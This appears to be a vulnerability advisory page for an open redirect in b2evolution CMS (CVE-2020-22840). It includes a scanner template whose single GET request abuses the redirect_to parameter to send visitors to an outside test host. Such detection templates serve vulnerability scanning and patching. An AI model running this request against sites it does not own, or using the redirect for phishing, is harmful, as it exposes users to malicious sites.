CVE-2020-22840: b2evolution CMS <6.11.6 - Open Redirect

2025-08-01 b2evolution CMS PoC Public

Description

b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2020-22840

info:
  name: b2evolution CMS <6.11.6 - Open Redirect
  author: geeknik
  severity: medium
  description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    This vulnerability can be exploited by attackers to trick users into visiting malicious websites, potentially leading to phishing attacks, malware infections, or unauthorized access to sensitive information.
  remediation: |
    Upgrade b2evolution CMS to version 6.11.6 or later to mitigate the open redirect vulnerability (CVE-2020-22840).
  reference:
    - https://github.com/b2evolution/b2evolution/issues/102
    - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html
    - https://www.exploit-db.com/exploits/49554
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22840
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-22840
    cwe-id: CWE-601
    epss-score: 0.13817
    epss-percentile: 0.96322
    cpe: cpe:2.3:a:b2evolution:b2evolution:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: b2evolution
    product: b2evolution
  tags: cve,cve2020,packetstorm,edb,redirect,b2evolution,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
# digest: 490a00463044022059877c1d8e1ae0f821b9927747c8742f22037e99a31d6c26472240479a84eb4d02203027c1dfb72f7d5f1d27ee7c03bdf530f371687b076ba017947535e8d7a30a4f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities